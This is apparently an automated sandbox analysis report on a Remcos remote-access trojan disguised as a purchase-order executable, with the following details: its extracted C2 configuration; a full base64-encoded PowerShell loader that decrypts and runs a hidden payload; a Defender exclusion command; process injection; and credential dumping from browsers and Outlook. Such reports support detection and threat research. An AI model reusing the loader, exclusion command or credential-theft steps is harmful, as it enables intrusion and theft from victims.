Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15-05-2024 23:40

General

  • Target

    PEDIDO#140404-AB2324.exe

  • Size

    1.3MB

  • MD5

    5632476c595eec38bc4fdf29848521c0

  • SHA1

    d56e3c24341e207fe9cec9742a135df0a66796e4

  • SHA256

    fb9154259baeba38fcb25fae2d53b8b498a68d451478d067d04e849606f33c6e

  • SHA512

    c96e708b3b33d242be36c2e65a52d1f7da04b833aeddcd7e4e93dd136b92cff82bffca032fca40f3544809368ff86517c868db13110138bf17c423ac69045a80

  • SSDEEP

    24576:O4WXhHQqP1synFS5noo7971QJL8+Ra6uEwkvLBA03W:Ojd9P1syn/oR71QJZRNuEwkvLd3W

Malware Config

Extracted

Family

remcos

Botnet

LOGSS

C2

64.188.26.204:2404

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-5AMF0U

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 2 IoCs
  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Nirsoft 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 51 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\PEDIDO#140404-AB2324.exe
    "C:\Users\Admin\AppData\Local\Temp\PEDIDO#140404-AB2324.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4548
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgANQAwADAAMAApAAoACgAkABIEQAQ1BDwENQQ9BD0EMARPBB8EMAQ/BDoEMAQgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJAAoBDAEMQQ7BD4EPQQgAD0AIAAnAGYAaQBsAGUALQAqAC4AcAB1AHQAaQBrACcACgAkAB8EPgRBBDsENQQ0BD0EOAQ5BCQEMAQ5BDsEIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAEgRABDUEPAQ1BD0EPQQwBE8EHwQwBD8EOgQwBCAALQBGAGkAbAB0AGUAcgAgACQAKAQwBDEEOwQ+BD0EIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAATABhAHMAdABXAHIAaQB0AGUAVABpAG0AZQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxAAoACgBmAHUAbgBjAHQAaQBvAG4AIAAgBDAEQQRIBDgERARABD4EMgQwBEIETAQgAHsACgAgACAAIAAgAHAAYQByAGEAbQAgACgACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAGgQ7BE4ERwQsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkABgEPQQ4BEYEOAQwBDsEOAQ3BDgEQARDBE4ESQQ4BDkEEgQ1BDoEQgQ+BEAELAAKACAAIAAgACAAIAAgACAAIABbAGIAeQB0AGUAWwBdAF0AJAAUBDAEPQQ9BEsENQQKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkACgEOAREBEAEMARCBD4EQAQgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkACgAgACAAIAAgACQAKAQ4BEQEQAQwBEIEPgRABC4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkACgEOAREBEAEMARCBD4EQAQuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFAASwBDAFMANwAKAAoAIAAgACAAIAAkACAEMARBBEgEOAREBEAEPgQyBEkEOAQ6BCAAPQAgACQAKAQ4BEQEQAQwBEIEPgRABC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAAkABoEOwROBEcELAAgACQAGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQpAAoAIAAgACAAIAAkACAEMARBBEgEOAREBEAEPgQyBDAEPQQ9BEsENQQUBDAEPQQ9BEsENQQgAD0AIAAkACAEMARBBEgEOAREBEAEPgQyBEkEOAQ6BC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAFAQwBD0EPQRLBDUELAAgADAALAAgACQAFAQwBD0EPQRLBDUELgBMAGUAbgBnAHQAaAApAAoACQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkACAEMARBBEgEOAREBEAEPgQyBDAEPQQ9BEsENQQUBDAEPQQ9BEsENQQKAH0ACgAKACQAGgQ7BE4ERwQgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeABCAEUALAAgADAAeABEAEYALAAgADAAeABCADgALAAgADAAeABBAEUALAAgADAAeABCADYALAAgADAAeAAxAEQALAAgADAAeABGADAALAAgADAAeABBAEUALAAgADAAeAAzAEEALAAgADAAeAA2AEEALAAgADAAeAA4AEMALAAgADAAeAAzAEYALAAgADAAeAAwADkALAAgADAAeABBAEEALAAgADAAeAA3ADMALAAgADAAeAAxADgALAAgADAAeAA3ADIALAAgADAAeAA0ADAALAAgADAAeAAzAEYALAAgADAAeAAzAEEALAAgADAAeAAxAEYALAAgADAAeAA0ADkALAAgADAAeAAxAEEALAAgADAAeAA5ADMALAAgADAAeAAwAEMALAAgADAAeABFAEYALAAgADAAeAAyADIALAAgADAAeAA5ADMALAAgADAAeABGADAALAAgADAAeAAwADAALAAgADAAeAAyADcALAAgADAAeAAyADAAKQAKACQAGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeABDAEMALAAgADAAeABCAEYALAAgADAAeAAxADYALAAgADAAeAA5AEYALAAgADAAeAAxADcALAAgADAAeABBADMALAAgADAAeAA3AEQALAAgADAAeAA1ADgALAAgADAAeAA3ADAALAAgADAAeAA4AEIALAAgADAAeAAzADIALAAgADAAeAA0AEMALAAgADAAeAA3ADgALAAgADAAeAA0ADAALAAgADAAeAA4AEUALAAgADAAeABFAEMAKQAKAAoAaQBmACAAKAAkAB8EPgRBBDsENQQ0BD0EOAQ5BCQEMAQ5BDsEIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAKACAAIAAgACAAJAAfBEMEQgRMBCQEMAQ5BDsEMAQgAD0AIAAkAB8EPgRBBDsENQQ0BD0EOAQ5BCQEMAQ5BDsELgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAFwQwBEgEOAREBEAEPgQyBDAEPQQ9BEsENQQRBDAEOQRCBEsEIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAB8EQwRCBEwEJAQwBDkEOwQwBCkAOwAKACAAIAAgACAAJAAgBDAEQQRIBDgERARABD4EMgQwBD0EPQQ+BDUEIQQ+BDQENQRABDYEOAQ8BD4ENQQgAD0AIAAgBDAEQQRIBDgERARABD4EMgQwBEIETAQgAC0AGgQ7BE4ERwQgACQAGgQ7BE4ERwQgAC0AGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQgACQAGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQgAC0AFAQwBD0EPQRLBDUEIAAkABcEMARIBDgERARABD4EMgQwBD0EPQRLBDUEEQQwBDkEQgRLBAoACgAgACAAIAAgACQAIQQxBD4EQAQ6BDAEIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAFsAYgB5AHQAZQBbAF0AXQBAACgAJAAgBDAEQQRIBDgERARABD4EMgQwBD0EPQQ+BDUEIQQ+BDQENQRABDYEOAQ8BD4ENQQpACkAOwAKACAAIAAgACAAJAAiBD4ERwQ6BDAEEgRFBD4ENAQwBCAAPQAgACQAIQQxBD4EQAQ6BDAELgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQAIgQ+BEcEOgQwBBIERQQ+BDQEMAQuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQA7AAoAfQAKAA==
      2⤵
      • UAC bypass
      • Windows security bypass
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2024
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\PEDIDO#140404-AB2324.exe" -Force
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3964
      • C:\Windows\System32\svchost.exe
        "C:\Windows\System32\svchost.exe"
        3⤵
          PID:1216
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe"
          3⤵
            PID:2304
          • C:\Program Files (x86)\Windows Mail\wab.exe
            "C:\Program Files (x86)\Windows Mail\wab.exe"
            3⤵
              PID:3804
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_wp.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_wp.exe"
              3⤵
              • Suspicious use of SetThreadContext
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of WriteProcessMemory
              PID:4088
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_wp.exe
                C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_wp.exe /stext "C:\Users\Admin\AppData\Local\Temp\czdvszxioagoolnhkapipoa"
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                PID:3988
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_wp.exe
                C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_wp.exe /stext "C:\Users\Admin\AppData\Local\Temp\nbiftjikciytyrbltlcbztvzrr"
                4⤵
                • Accesses Microsoft Outlook accounts
                PID:2140
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_wp.exe
                C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_wp.exe /stext "C:\Users\Admin\AppData\Local\Temp\pvoytctdqqqybfxplwwdcgqqsxfbl"
                4⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:4336

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pgpf5oty.h4b.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\czdvszxioagoolnhkapipoa

          Filesize

          4KB

          MD5

          135c60fadfa99b241d9109417db8b53c

          SHA1

          b73785818a32e8d84bb55c02ccdc3d546a615526

          SHA256

          01fc52f877352f6252d3d9351993fc35d7b6b0051ac6d3146184e12f9bc6e704

          SHA512

          76812b91e51f1a206e3829b44cf13ee4cc4e5e90d88c0b0b3755b1e092eee26e6a4b18ef038a311a9443dab138761ff45fdd18145931207764c2355047611f51

        • C:\Users\Admin\AppData\Local\Temp\file-3109.putik

          Filesize

          20KB

          MD5

          4bbb5cd3041c27a9dd85df1e35dec081

          SHA1

          46119374a13d578ea9049d8ea91a3abadbdeee8e

          SHA256

          1d8a4c2788ef4ea0d89774c48acef7ad33b4fb92c21039424a4ff10df8094826

          SHA512

          c4f5d110a5a91803cdb86a080ae5ab3bf7f67debdd9b71af68908099e907a9896e7c7e60e7467ef2e9800952df5b5a295e69c3877ee0a7c1e1f8532a0f6d7c76

        • memory/2024-2-0x000001BAD7AC0000-0x000001BAD7AE2000-memory.dmp

          Filesize

          136KB

        • memory/2024-12-0x00007FFF38DF0000-0x00007FFF398B1000-memory.dmp

          Filesize

          10.8MB

        • memory/2024-13-0x00007FFF38DF0000-0x00007FFF398B1000-memory.dmp

          Filesize

          10.8MB

        • memory/2024-15-0x000001BAD7E20000-0x000001BAD7E2A000-memory.dmp

          Filesize

          40KB

        • memory/2024-16-0x000001BAD7E50000-0x000001BAD7F22000-memory.dmp

          Filesize

          840KB

        • memory/2024-38-0x00007FFF38DF0000-0x00007FFF398B1000-memory.dmp

          Filesize

          10.8MB

        • memory/2024-1-0x00007FFF38DF3000-0x00007FFF38DF5000-memory.dmp

          Filesize

          8KB

        • memory/2140-47-0x0000000000400000-0x0000000000462000-memory.dmp

          Filesize

          392KB

        • memory/3964-17-0x00007FFF38DF0000-0x00007FFF398B1000-memory.dmp

          Filesize

          10.8MB

        • memory/3964-30-0x00007FFF38DF0000-0x00007FFF398B1000-memory.dmp

          Filesize

          10.8MB

        • memory/3964-18-0x00007FFF38DF0000-0x00007FFF398B1000-memory.dmp

          Filesize

          10.8MB

        • memory/3988-51-0x0000000000400000-0x0000000000478000-memory.dmp

          Filesize

          480KB

        • memory/3988-52-0x0000000000400000-0x0000000000478000-memory.dmp

          Filesize

          480KB

        • memory/3988-46-0x0000000000400000-0x0000000000478000-memory.dmp

          Filesize

          480KB

        • memory/4088-45-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4088-68-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4088-41-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4088-40-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4088-44-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4088-37-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4088-36-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4088-34-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4088-74-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4088-33-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4088-31-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4088-73-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4088-72-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4088-32-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4088-62-0x0000000010000000-0x0000000010019000-memory.dmp

          Filesize

          100KB

        • memory/4088-61-0x0000000010000000-0x0000000010019000-memory.dmp

          Filesize

          100KB

        • memory/4088-63-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4088-58-0x0000000010000000-0x0000000010019000-memory.dmp

          Filesize

          100KB

        • memory/4088-64-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4088-65-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4088-66-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4088-67-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4088-39-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4088-69-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4088-70-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4088-71-0x0000000000400000-0x0000000000482000-memory.dmp

          Filesize

          520KB

        • memory/4336-48-0x0000000000400000-0x0000000000424000-memory.dmp

          Filesize

          144KB

        • memory/4336-49-0x0000000000400000-0x0000000000424000-memory.dmp

          Filesize

          144KB

        • memory/4336-50-0x0000000000400000-0x0000000000424000-memory.dmp

          Filesize

          144KB